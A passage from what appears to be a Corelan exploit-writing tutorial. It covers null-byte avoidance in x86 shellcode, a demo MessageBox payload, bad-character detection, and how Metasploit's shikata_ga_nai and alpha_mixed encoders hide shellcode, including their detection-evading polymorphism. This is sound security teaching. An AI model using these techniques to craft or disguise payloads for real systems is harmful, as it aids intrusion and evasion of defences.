:<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #f0f0f0; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">[BITS 32]\n\nXOR EAX,EAX     ;set EAX to zero\nMOV EBP,ESP     ;set EBP to ESP so we can <span style=\"color: #0000ff\">use<\/span> negative <span style=\"color: #0000ff\">offset<\/span>\n<span style=\"color: #0000ff\">PUSH<\/span> EAX\nMOV BYTE [EBP-2],6Eh  ;\nMOV BYTE [EBP-3],61h  ;\nMOV BYTE [EBP-4],6Ch  ;\n<span style=\"color: #0000ff\">PUSH<\/span> 0x65726f43 ;<span style=\"color: #0000ff\">push<\/span> rest of string to stack\nMOV EBX,ESP     ;save pointer to &quot;<span style=\"color: #8b0000\">Corelan<\/span>&quot; in EBX<\/pre>\n<p>It becomes clear that the last 2 techniques will have a negative impact on the shellcode size, but they work just fine.<\/p>\n<p>&#160;<\/p>\n<p>&#160;<\/p>\n<p><strong><u>Solution 4 : xor<\/u><\/strong><\/p>\n<p>Another technique is to write specific values in 2 registers, that will - when an xor operation is performed on the values in these 2 registers, produce the desired value.<\/p>\n<p>So let\u2019s say you want to put 0x006E616C onto the stack, then you can do this :<\/p>\n<p>Open windows calculator and set mode to hex<\/p>\n<p>Type 777777FF<\/p>\n<p>Press XOR<\/p>\n<p>Type 006E616C<\/p>\n<p>Result : 77191693<\/p>\n<p>Now put each value (777777FF and 77191693) into 2 registers, xor them, and push the resulting value onto the stack :<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #f0f0f0; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">[BITS 32]\n\n<strong><font color=\"#ff0000\">MOV EAX,0x777777FF\nMOV EBX,0x77191693\nXOR EAX,EBX     ;EAX now contains 0x006E616C\n<span style=\"color: #0000ff\">PUSH<\/span> EAX        ;<span style=\"color: #0000ff\">push<\/span> it to stack<\/font><\/strong>\n<span style=\"color: #0000ff\">PUSH<\/span> 0x65726f43 ;<span style=\"color: #0000ff\">push<\/span> rest of string to stack\nMOV EBX,ESP     ;save pointer to &quot;<span style=\"color: #8b0000\">Corelan<\/span>&quot; in EBX\n\n<strong><font color=\"#ff0000\">MOV EAX,0x777777FF\nMOV EDX,0x7757199E  ;Don't <span style=\"color: #0000ff\">use<\/span> EBX because it already contains\n                    ;pointer to previous string\nXOR EAX,EDX     ;EAX now contains 0x00206E61\n<span style=\"color: #0000ff\">PUSH<\/span> EAX        ;<span style=\"color: #0000ff\">push<\/span> it to stack<\/font><\/strong>\n<span style=\"color: #0000ff\">PUSH<\/span> 0x6c65726f ;<span style=\"color: #0000ff\">push<\/span> rest of string to stack\n<span style=\"color: #0000ff\">PUSH<\/span> 0x43207962\n<span style=\"color: #0000ff\">PUSH<\/span> 0x2064656e\n<span style=\"color: #0000ff\">PUSH<\/span> 0x7770206e\n<span style=\"color: #0000ff\">PUSH<\/span> 0x65656220\n<span style=\"color: #0000ff\">PUSH<\/span> 0x65766168\n<span style=\"color: #0000ff\">PUSH<\/span> 0x20756f59\nMOV ECX,ESP         ;save pointer to &quot;<span style=\"color: #8b0000\">You have been...<\/span>&quot; in ECX\n\nXOR EAX,EAX     ;set EAX to zero\n<span style=\"color: #0000ff\">PUSH<\/span> EAX            ;put parameters on the stack\n<span style=\"color: #0000ff\">PUSH<\/span> EBX\n<span style=\"color: #0000ff\">PUSH<\/span> ECX\n<span style=\"color: #0000ff\">PUSH<\/span> EAX\n<span style=\"color: #0000ff\">PUSH<\/span> EAX\n\nMOV ESI,0x7E4507EA\nJMP ESI              ;MessageBoxA\n\nXOR EAX,EAX          ;clean up\n<span style=\"color: #0000ff\">PUSH<\/span> EAX\nMOV EAX,0x7c81CB12\nJMP EAX              ;ExitProcess(0)<\/pre>\n<p>Remember this technique - you\u2019ll see an improved implementation of this technique in the payload encoders section.<\/p>\n<p>&#160;<\/p>\n<p><strong><u>Solution 5 : Registers : 32bit -&gt; 16 bit -&gt; 8 bit<\/u><\/strong>&#160;<\/p>\n<p>We are running Intel x86 assembly, on a 32bit CPU.&#160; So the registers we are dealing with are 32bit aligned to (4 byte), and they can be referred to by using 4 byte, 2 byte or 1 byte annotations : EAX (\u201cExtended\u201d \u2026) is 4byte, AX is 2 byte, and AL(low) or AH (high) are 1 byte.<\/p>\n<p>So we can take advantage of that to avoid null bytes.<\/p>\n<p>Let\u2019s say you need to push value 1 to the stack. <\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #f0f0f0; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">PUSH 0x1<\/pre>\n<p>The bytecode looks like this :<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #f0f0f0; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">\\x68\\x01\\x00\\x00\\x00<\/pre>\n<p>You can avoid the null bytes in this example by :<\/p>\n<ul>\n<li>clear out a register <\/li>\n<li>add 1 to the register, using AL&#160; (to indicate the low byte) <\/li>\n<li>push the register to the stack <\/li>\n<\/ul>\n<p>Example :<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #f0f0f0; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">XOR EAX,EAX\nMOV AL,1\nPUSH EAX<\/pre>\n<p>or, in bytecode :<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #f0f0f0; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">\\x31\\xc0\\xb0\\x01\\x50<\/pre>\n<p>let\u2019s compare the two:<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #f0f0f0; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">[BITS 32]\n\nPUSH 0x1\nINT 3\nXOR EAX,EAX\nMOV AL,1\nPUSH EAX\nINT 3<\/pre>\n<p><a href=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2010\/02\/image30.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" style=\"border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2010\/02\/image_thumb30.png\" width=\"478\" height=\"170\" \/><\/a><\/p>\n<p>Both bytecodes are 5 bytes, so avoiding null bytes does not necessarily mean your code will increase in size.<\/p>\n<p>You can obviously use this in many ways - for example to overwrite a character with a null byte, etc)<\/p>\n<p>&#160;<\/p>\n<p><strong><u>Technique 6 : using alternative instructions<\/u><\/strong><\/p>\n<p>Previous example (push 1) could also be written like this<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #f0f0f0; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">XOR EAX,EAX\nINC EAX\nPUSH EAX<\/pre>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #f0f0f0; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">\\x31\\xc0\\x40\\x50<\/pre>\n<p>(=&gt; only 4 bytes\u2026 so you can even decrease the number of bytes by being a little bit creative)<\/p>\n<p>or you could try even do this :<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #f0f0f0; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">\\x6A\\x01<\/pre>\n<p>This will also perform PUSH 1&#160; and is only 2 bytes\u2026<\/p>\n<p>&#160;<\/p>\n<p>&#160;<\/p>\n<p><strong><u>Technique 7 : strings : from null byte to spaces &amp; null bytes<\/u><\/strong><\/p>\n<p>If you have to write a string to the stack and end it with a null byte, you can also do this :<\/p>\n<ul>\n<li>write the string and use spaces (0x20) at the end to make everything 4 byte aligned <\/li>\n<li>add null bytes <\/li>\n<\/ul>\n<p>Example : if you need to write \u201cCorelan\u201d to the stack, you can do this :<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #f0f0f0; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">PUSH 0x006e616c     ;push &quot;Corelan&quot; to stack\nPUSH 0x65726f43 <\/pre>\n<p>but you can also do this :&#160; (use space instead of null byte, and then push null bytes using a register)<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #f0f0f0; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">XOR EAX,EAX\nPUSH EAX\nPUSH 0x206e616c     ;push &quot;Corelan &quot; to stack\nPUSH 0x65726f43 <\/pre>\n<p>&#160;<\/p>\n<p>&#160;<\/p>\n<p><strong><u>Conclusion :<\/u><\/strong><\/p>\n<p>These are just a few of many techniques to deal with null bytes. The ones listed here should at least give you an idea about some possibilities if you have to deal with null bytes and you don\u2019t want to (or - for whatever reason - you cannot) use a payload encoder.<\/p>\n<p>&#160;<\/p>\n<p>&#160;<\/p>\n<h4>Encoders : Payload encoding<\/h4>\n<p>Of course, instead of just changing individual instructions, you could use an encoding technique that would encode the entire shellcode. This technique is often used to avoid bad characters\u2026 and in fact, a null byte can be considered to be a bad character too.<\/p>\n<p>So this is the right time to write a few words about payload encoding.<\/p>\n<p>&#160;<\/p>\n<h3>(Payload) Encoders<\/h3>\n<p>Encoders are not only used to filter out null bytes. They can be used to filter out bad characters in general (or overcome a character set limitation)<\/p>\n<p>Bad characters are not shellcode specific - they are exploit specific. They are the result of some kind of operation that was executed on your payload before your payload could get executed. (For example replacing spaces with underscores, or converting input to uppercase, or in the case of null bytes, would change the payload buffer because it gets terminated\/truncated)<\/p>\n<p>How can we detect bad characters ?<\/p>\n<h4>Detecting bad characters<\/h4>\n<p>The best way to detect if your shellcode will be subject to a bad character restriction is to put your shellcode in memory, and compare it with the original shellcode, and list the differences.<\/p>\n<p>You obviously could do this manually (compare bytes in memory with the original shellcode bytes), but it will take a while.<\/p>\n<p>You can also use one of the debugger plugins available :<\/p>\n<p>windbg : byakugan (see <a href=\"https:\/\/www.corelan.be\/index.php\/2009\/09\/05\/exploit-writing-tutorial-part-5-how-debugger-modules-plugins-can-speed-up-basic-exploit-development\/\" target=\"_blank\" rel=\"noopener\">exploit writing tutorial part 5<\/a>)<\/p>\n<p>or Immunity Debugger : <a href=\"https:\/\/github.com\/corelan\/mona\" target=\"_blank\" rel=\"noopener\">pvefindaddr<\/a> :<\/p>\n<p>First, write your shellcode to a file (pveWritebin.pl - see earlier in this document)\u2026 write it to c:\\tmp\\shellcode.bin for example<\/p>\n<p>Next, attach Immunity Debugger to the application you are trying to exploit and feed the payload (containing the shellcode) to this application.<\/p>\n<p>When the application crashes (or stops because of a breakpoint set by you), run the following command to compare the shellcode in file with the shellcode in memory :<\/p>\n<p>!pvefindaddr compare c:\\tmp\\shellcode<\/p>\n<p><a href=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2010\/02\/image17.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" style=\"border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2010\/02\/image_thumb17.png\" width=\"400\" height=\"400\" \/><\/a><\/p>\n<p>If bad characters would have been found (or the shellcode was truncated because of a null byte), the Immunity Log window will indicate this.<\/p>\n<p>If you already know what your bad chars are (based on the type of application, input, buffer conversion, etc), you can use a different technique to see if your shellcode will work.<\/p>\n<p>Suppose you have figured out that the bad chars you need to take care of are 0x48, 0x65, 0x6C, 0x6F, 0x20, then you can use skylined\u2019s beta3 utility again. You need to have a bin file again (bytecode written to file) and then run the following command against the bin file :<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #f0f0f0; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">beta3.py --badchars 0x48,0x65,0x6C,0x6F,0x20 shellcode.bin<\/pre>\n<p>If one of these \u201cbad chars\u201d are found, their position in the shellcode will be indicated.<\/p>\n<p>&#160;<\/p>\n<p>&#160;<\/p>\n<h4>Encoders : Metasploit<\/h4>\n<p>When the data character set used in a payload is restricted, an encoder may be required to overcome those restrictions. The encoder will either wrap the original code, prepend it with a decoder which will reproduce the original code at runtime, or will modify the original code so it would comply with the given character set restrictions.<\/p>\n<p>The most commonly used shellcode encoders are the ones found in Metasploit, and the ones written by skylined (alpha2\/alpha3).<\/p>\n<p>Let\u2019s have a look at what the Metasploit encoders do and how they work (so you would know when to pick one encoder over another).<\/p>\n<p>You can get a list of all encoders by running the .\/msfencode -l command.&#160; Since I am targetting the win32 platform, we are only going to look at the ones that we written for x86<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #f0f0f0; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">.\/msfencode -l -a x86 \n\nFramework Encoders (architectures: x86)\n=======================================\n\n Name                    Rank       Description\n ----                    ----       -----------\n generic\/none            normal     The &quot;<span style=\"color: #8b0000\">none<\/span>&quot; Encoder\n x86\/alpha_mixed         low        Alpha2 Alphanumeric Mixedcase Encoder\n x86\/alpha_upper         low        Alpha2 Alphanumeric Uppercase Encoder\n x86\/avoid_utf8_tolower  manual     Avoid UTF8\/tolower\n x86\/call4_dword_xor     normal     Call+4 Dword XOR Encoder\n x86\/countdown           normal     Single-byte XOR Countdown Encoder\n x86\/fnstenv_mov         normal     Variable-<span style=\"color: #0000ff\">length<\/span> Fnstenv\/mov Dword XOR Encoder\n x86\/jmp_call_additive   normal     Jump\/Call XOR Additive Feedback Encoder\n x86\/nonalpha            low        Non-Alpha Encoder\n x86\/nonupper            low        Non-Upper Encoder\n x86\/shikata_ga_nai      excellent  Polymorphic XOR Additive Feedback Encoder\n x86\/single_static_bit   manual     Single Static Bit\n x86\/unicode_mixed       manual     Alpha2 Alphanumeric Unicode Mixedcase Encoder\n x86\/unicode_upper       manual     Alpha2 Alphanumeric Unicode Uppercase Encoder<\/pre>\n<p>The default encoder in Metasploit is shikata_ga_nai, so we\u2019ll have a closer look at that one.<\/p>\n<p>&#160;<\/p>\n<h4>x86\/shikata_ga_nai<\/h4>\n<p>Let\u2019s use our original message shellcode (the one with null bytes) and encode it with shikata_ga_nai, filtering out null bytes :<\/p>\n<p>Original shellcode<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #f0f0f0; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">C:\\shellcode&gt;perl pveReadbin.pl msgbox.bin\nReading msgbox.bin\nRead 78 bytes\n\n&quot;<span style=\"color: #8b0000\">\\x68\\x6c\\x61\\x6e\\x00\\x68\\x43\\x6f<\/span>&quot;\n&quot;<span style=\"color: #8b0000\">\\x72\\x65\\x89\\xe3\\x68\\x61\\x6e\\x20<\/span>&quot;\n&quot;<span style=\"color: #8b0000\">\\x00\\x68\\x6f\\x72\\x65\\x6c\\x68\\x62<\/span>&quot;\n&quot;<span style=\"color: #8b0000\">\\x79\\x20\\x43\\x68\\x6e\\x65\\x64\\x20<\/span>&quot;\n&quot;<span style=\"color: #8b0000\">\\x68\\x6e\\x20\\x70\\x77\\x68\\x20\\x62<\/span>&quot;\n&quot;<span style=\"color: #8b0000\">\\x65\\x65\\x68\\x68\\x61\\x76\\x65\\x68<\/span>&quot;\n&quot;<span style=\"color: #8b0000\">\\x59\\x6f\\x75\\x20\\x89\\xe1\\x31\\xc0<\/span>&quot;\n&quot;<span style=\"color: #8b0000\">\\x50\\x53\\x51\\x50\\x50\\xbe\\xea\\x07<\/span>&quot;\n&quot;<span style=\"color: #8b0000\">\\x45\\x7e\\xff\\xe6\\x31\\xc0\\x50\\xb8<\/span>&quot;\n&quot;<span style=\"color: #8b0000\">\\x12\\xcb\\x81\\x7c\\xff\\xe0<\/span>&quot;;<\/pre>\n<p>I wrote these bytes to \/pentest\/exploits\/shellcode.bin and encoded them with shikata_ga_nai :<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #f0f0f0; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">.\/msfencode -b '\\x00' -i \/pentest\/exploits\/shellcode.bin -t c   \n[*] x86\/shikata_ga_nai succeeded with size 105 (iteration=1)\n\nunsigned char buf[] = \n&quot;<span style=\"color: #8b0000\">\\xdb\\xc9\\x29\\xc9\\xbf\\x63\\x07\\x01\\x58\\xb1\\x14\\xd9\\x74\\x24\\xf4<\/span>&quot;\n&quot;<span style=\"color: #8b0000\">\\x5b\\x83\\xc3\\x04\\x31\\x7b\\x15\\x03\\x7b\\x15\\x81\\xf2\\x69\\x34\\x24<\/span>&quot;\n&quot;<span style=\"color: #8b0000\">\\x93\\x69\\xac\\xe5\\x04\\x18\\x49\\x60\\x39\\xb4\\xf0\\x1c\\x9e\\x45\\x9b<\/span>&quot;\n&quot;<span style=\"color: #8b0000\">\\x8f\\xac\\x20\\x37\\x27\\x33\\xd2\\xe7\\xf4\\xdb\\x4a\\x8d\\x9e\\x3b\\xfb<\/span>&quot;\n&quot;<span style=\"color: #8b0000\">\\x23\\x7e\\x4c\\x8c\\xd3\\x5e\\xce\\x17\\x41\\xf6\\x66\\xb9\\xff\\x63\\x1f<\/span>&quot;\n&quot;<span style=\"color: #8b0000\">\\x60\\x6f\\x1e\\xff\\x1b\\x8e\\xd1\\x3f\\x4b\\x02\\x40\\x90\\x3c\\x1a\\x88<\/span>&quot;\n&quot;<span style=\"color: #8b0000\">\\x17\\xf8\\x1c\\xb3\\xfe\\x33\\x21\\x1b\\x47\\x21\\x6a\\x1a\\xcb\\xb9\\x8c<\/span>&quot;;<\/pre>\n<p>(Don\u2019t worry if the output looks different on your system - you\u2019ll understand why it could be different in just a few moments)<\/p>\n<p>(Note : Encoder increased the shellcode from 78 bytes to 105.)<\/p>\n<p>Loaded into the debugger (using the testshellcode.c application), the encoded shellcode looks like this :<\/p>\n<p><a href=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2010\/02\/image18.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" style=\"border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2010\/02\/image_thumb18.png\" width=\"593\" height=\"358\" \/><\/a><\/p>\n<p>As you step through the instructions, the first time the XOR instruction (XOR DWORD PTR DS:[EBX+15],EDI is executed, an instruction below (XOR EDX,93243469) is changed to a LOOPD instruction :<\/p>\n<p><a href=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2010\/02\/image19.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" style=\"border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2010\/02\/image_thumb19.png\" width=\"390\" height=\"139\" \/><\/a><\/p>\n<p>From that point forward, the decoder will loop and reproduce the original code\u2026 that\u2019s nice, but how does this encoder\/decoder really work ?<\/p>\n<p>The encoder will do 2 things :<\/p>\n<p>1. it will take the original shellcode and perform XOR\/ADD\/SUB operations on it. In this example, the XOR operation starts with an initial value of 58010763 (which is put in EDI in the decoder). The XORed bytes are written after the decoder loop.<\/p>\n<p>2. it will produce a decoder that will recombine\/reproduce the original code, and write it right below the decoding loop. The decoder will be prepended to the xor\u2019ed instructions. Together, these 2 components make the encoded payload.<\/p>\n<p>&#160;<\/p>\n<p>When the decoder runs, the following things happen :<\/p>\n<ul>\n<li>FCMOVNE ST,ST(1) (FPU instruction, needed to make FSTENV work - see later) <\/li>\n<li>SUB ECX,ECX <\/li>\n<li>MOV EDI,58010763 : initial value to use in the XOR operations <\/li>\n<li>MOV CL,14 : sets ECX to 00000014 (used to keep track of progress while decoding). 4 bytes will be read at a time, so 14h x 4 = 80 bytes (our original shellcode is 78 bytes, so this makes sense). <\/li>\n<li>FSTENV PTR SS: [ESP-C] : this results in getting the address of the first FPU instruction of the decoder (FCMOVNE in this example). The requisite to make this instruction work is that at least one FPU instruction is executed before this one - doesn\u2019t matter which one. (so FLDPI should work too) <\/li>\n<li>POP EBX : the address of the first instruction of the decoder is put in EBX (popped from the stack) <\/li>\n<\/ul>\n<p>It looks like the goal of the previous instructions was : \u201cget the address of the begin of the decoder and put it in EBX\u201d (GetPC - see later), and \u201cset ECX to 14\u201d.<\/p>\n<p>Next, we see this :<\/p>\n<ul>\n<li>ADD EBX,4 : EBX is increased with 4 <\/li>\n<li>XOR DWORD PTR DS: [EBX+15], EDI : perform XOR operation using EBX+15 and EDI, and write the result at EBX+15. The first time this instruction is executed, a LOOPD instruction is recombined. <\/li>\n<li>ADD EDI, DWORD PTR DS:[EBX+15] : EDI is increased with the bytes that were recombined at EBX+15, by the previous instruction. <\/li>\n<\/ul>\n<p>Ok, it starts to make sense.&#160; The first instructions in the decoder were used to determine the address of the first instruction of the decoder, and defines where the loop needs to jump back to.&#160; That explains why the loop instruction itself was not part of the decoder instructions (because the decoder needed to determine it\u2019s own address before it could write the LOOPD instruction), but had to be recombined by the first XOR operation. <\/p>\n<p>From that point forward, a loop is initiated and results are written to EBX+15 (and EBX is increased with 4 each iteration).&#160; So the first time the loop is executed, after EBX is increased with 4, EBX+15 points just below the loopd instruction (so the decoder can use EBX (+15) as register to keep track of the location where to write the decoded\/original shellcode).&#160; As shown above, the decoding loop consists of the following instructions :<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #f0f0f0; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">ADD EBX,4\nXOR DWORD PTR DS: [EBX+15], EDI\nADD EDI, DWORD PTR DS: [EBX+15]<\/pre>\n<p><a href=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2010\/02\/image20.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" style=\"border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2010\/02\/image_thumb20.png\" width=\"497\" height=\"165\" \/><\/a><\/p>\n<p>Again, the XOR instruction will produce the original bytes and write them at EBX+15. Next, the result is added to EDI (which is used to XOR the next bytes in the next iteration)\u2026<\/p>\n<p>The ECX register is used to keep track of the position in the shellcode(counts down). When ECX reaches 1, the original shellcode is reproduced below the loop, so the jump (LOOPD) will not be taken anymore, and the original code will get executed (because it is located directly after the loop)<\/p>\n<p><a href=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2010\/02\/image21.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" style=\"border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2010\/02\/image_thumb21.png\" width=\"422\" height=\"328\" \/><\/a><\/p>\n<p>Ok, look back at the description of the encoder in Metasploit :<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #f0f0f0; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">Polymorphic XOR Additive Feedback Encoder<\/pre>\n<p>We know where the XOR and Additive words come from\u2026 but what about Polymorphic ?<\/p>\n<p>Well, every time you run the encoder, some things change<\/p>\n<ul>\n<li>the value that is put in ESI changes <\/li>\n<li>the place of the instructions to get the address of the start of the decoder changes <\/li>\n<li>the registers used to keep track of the position (EBX in our example above, EDX in the screenshot below) varies. <\/li>\n<\/ul>\n<p>In essence, the order of the intructions before the loop change, and the variable values (registers, value of ESI) changes too.<\/p>\n<p><a href=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2010\/02\/image22.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" style=\"border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2010\/02\/image_thumb22.png\" width=\"446\" height=\"148\" \/><\/a><\/p>\n<p>This makes sure that, every time you create an encoded version of the payload, most of the bytes will be different (without changing the overall concept behind the decoder), which makes this payload \u201cpolymorphic\u201d \/ hard to get detected.<\/p>\n<p>&#160;<\/p>\n<p>&#160;<\/p>\n<h4>x86\/alpha_mixed<\/h4>\n<p>Encoding our example msgbox shellcode with this encoder produces a 218 byte encoded shellcode :<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #f0f0f0; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">.\/msfencode -e x86\/alpha_mixed -b '\\x00' -i \/pentest\/exploits\/shellcode.bin -t c \n[*] x86\/alpha_mixed succeeded with size 218 (iteration=1)\n\nunsigned char buf[] = \n&quot;<span style=\"color: #8b0000\">\\x89\\xe3\\xda\\xc3\\xd9\\x73\\xf4\\x58\\x50\\x59\\x49\\x49\\x49\\x49\\x49<\/span>&quot;\n&quot;<span style=\"color: #8b0000\">\\x49\\x49\\x49\\x49\\x49\\x43\\x43\\x43\\x43\\x43\\x43\\x37\\x51\\x5a\\x6a<\/span>&quot;\n&quot;<span style=\"color: #8b0000\">\\x41\\x58\\x50\\x30\\x41\\x30\\x41\\x6b\\x41\\x41\\x51\\x32\\x41\\x42\\x32<\/span>&quot;\n&quot;<span style=\"color: #8b0000\">\\x42\\x42\\x30\\x42\\x42\\x41\\x42\\x58\\x50\\x38\\x41\\x42\\x75\\x4a\\x49<\/span>&quot;\n&quot;<span style=\"color: #8b0000\">\\x43\\x58\\x42\\x4c\\x45\\x31\\x42\\x4e\\x45\\x50\\x42\\x48\\x50\\x43\\x42<\/span>&quot;\n&quot;<span style=\"color: #8b0000\">\\x4f\\x51\\x62\\x51\\x75\\x4b\\x39\\x48\\x63\\x42\\x48\\x45\\x31\\x50\\x6e<\/span>&quot;\n&quot;<span style=\"color: #8b0000\">\\x47\\x50\\x45\\x50\\x45\\x38\\x50\\x6f\\x43\\x42\\x43\\x55\\x50\\x6c\\x51<\/span>&quot;\n&quot;<span style=\"color: #8b0000\">\\x78\\x43\\x52\\x51\\x69\\x51\\x30\\x43\\x73\\x42\\x48\\x50\\x6e\\x45\\x35<\/span>&quot;\n&quot;<span style=\"color: #8b0000\">\\x50\\x64\\x51\\x30\\x45\\x38\\x42\\x4e\\x45\\x70\\x44\\x30\\x50\\x77\\x50<\/span>&quot;\n&quot;<span style=\"color: #8b0000\">\\x68\\x51\\x30\\x51\\x72\\x43\\x55\\x50\\x65\\x42\\x48\\x45\\x38\\x45\\x31<\/span>&quot;\n&quot;<span style=\"color: #8b0000\">\\x43\\x46\\x42\\x45\\x50\\x68\\x42\\x79\\x50\\x6f\\x44\\x35\\x51\\x30\\x4d<\/span>&quot;\n&quot;<span style=\"color: #8b0000\">\\x59\\x48\\x61\\x45\\x61\\x4b\\x70\\x42\\x70\\x46\\x33\\x46\\x31\\x42\\x70<\/span>&quot;\n&quot;<span style=\"color: #8b0000\">\\x46\\x30\\x4d\\x6e\\x4a\\x4a\\x43\\x37\\x51\\x55\\x43\\x4e\\x4b\\x4f\\x4b<\/span>&quot;\n&quot;<span style=\"color: 